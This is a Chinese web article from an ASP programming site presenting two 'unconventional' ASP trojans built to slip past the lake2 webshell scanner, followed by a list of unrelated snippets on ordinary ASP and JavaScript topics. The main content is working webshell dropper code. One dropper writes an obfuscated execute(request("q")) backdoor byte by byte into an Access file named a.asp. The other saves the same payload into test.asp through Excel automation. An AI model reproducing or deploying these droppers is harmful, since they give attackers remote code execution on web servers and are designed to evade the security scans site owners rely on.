两个非常规ASP木马(可躲过扫描)
来源：asp之家 发布时间：2011-03-11 10:38:00
hanxiaolian
为了躲避 lake2 ASP站长管理助手而写..
一.绕过lake2 Asp木马扫描的小马
代码如下:
<％
set c = CreateObject("ADOX.Catalog")
c.create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("a.asp"))
set c = Nothing
c&Server.MapPath("a.asp")
set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table nomm(nomuma oleobject)")
set rs=server.createobject("adodb.recordset")
sql="SELECT * FROM nomm"
rs.open sql,conn,1,3
rs.addnew
rs ("nomuma").appendchunk(chrB(asc("<"))&chrB(asc("％"))&chrB(asc ("e"))&chrB
(asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc ("u"))&chrB(asc("t"))&chrB(asc
("e"))&chrB(asc("+"))&chrB(asc ("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc
("u"))&chrB(asc ("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(34)
&chrB(asc("q"))&chrB(34)&chrB(asc(")"))&chrB(asc("％"))& chrB(asc(">")))
rs.update
rs.close
set rs=nothing
conn.close
set conn=nothing
％>
二.xls版asp webshell
代码如下:
<％
Set xlA = Server.CreateObject("Excel.Application")
xlA.Visible = False
xlA.Workbooks.Add
Set xlWorksheet = xlA.Worksheets(1)
xlWorksheet.Cells(1,1).Value = "<％ex"&"ec"&"ute(request(""q""))"+chr(37)+">"
'strFile = "d:/test.asp"
strFile = Server.MapPath("test.asp")
xlWorkSheet.SaveAs strFile
xlA.Quit
Set xlWorksheet = Nothing
Set xlA = Nothing
％>
0
投稿猜你喜欢
- 本文的目的是探讨JS相关技术，并不是以杀毒为主要目的，杀毒只是为讲解一些JS做铺垫的，呵呵，文章有点长，倒杯咖啡或者清茶慢慢看，学习切勿急躁
很久没有写文章，最近一直在忙于找工作和找房子。哎，现在终于安定下来了，哎，又叹息一下，是因为我把去淘宝面试的机会也推掉了，本来以为要卷铺盖回- 服务器响应HTTP的类型ContentType大全，使用方法：<％ Response.ContentType =&
- 浏览器的具体功能都储存在服务器端的Browscap.ini中：<％ SET
- 1、从数据库表中检索信息实际上，前面我们已经用到了SELECT语句，它用来从数据库表中检索信息。select语句格式一般为：SELECT 检
- 代码如下: <％ Dim oConn, ors, aRows Dim i,j Set oConn=Server.CreateObjec
- 方法一： 代码如下:id=request.form("checkbox") id=Split(id,"
- 古巴比伦王颁布了汉摩拉比法典，刻在黑色的玄武岩，距今已经三千七百多年，你在橱窗前…熟悉吧？没错，这就是周董的爱在西元前歌词。前不久工作不是很
- 方法如下： response.cookies(cookiesname)[(key)|.attribute]=value 解释如下：cooki
- 用字符串就可以轻松地获取每一个文件的名称和扩展名，但不要乱用：<％Function getFilename(text)tex
- date() 获取日期，格式：2004-2-28 time() 获取时间，格式：22:24:59 now() 获取日期和时间 格式： 200
- 原文地址：30 Days of Mootools 1.2 Tutorials - Day 13 - Regular ExpressionsM
- 即将上线的百度C2C平台百度“有啊”开始对百度HI用户进行邀请，其首页页面、“有啊”LOGO也首次曝光。从曝光的图片看，百度“有啊”的主色调
- 在ASP的实际操作中，总会发生这样的情况，如在银行，从我的帐户往费文华的帐户划款，我的帐户显示已经划出，但因银行的系统出现故障，导致费文华帐
- 代码如下：'其中注释中有 ###的需要用户设置 '其中注释中有 参数传递 ** 的 说明要通过参数 传递。'定义变量
- 什么是RSS？RSS是站点用来和其他站点之间共享内容的一种简易方式（也叫聚合内容），通常被用于新闻和其他按顺序排列的网站，例如Blog。一段
- * 前，我在公司做设计，当时就已经做到技术总监，Photoshop是自学的，当时觉得全世界比我Photoshop强的人也不在多数。七年前，
- tbody 标签表格主体（正文）。该标签用于组合 HTML 表格的主体内容。tbody 元素应该与&
- 本文介绍了4个asp数据库管理中常用到的access数据库操作程序，一般的网站管理后台都提供了这个功能，方便管理员对数据库数据的管理维护。1
- 一次又一次的,我发现,那些有bug的Javascript代码是由于没有真正理解Javascript函数是如何工作而导致的(顺便说一下,许多那
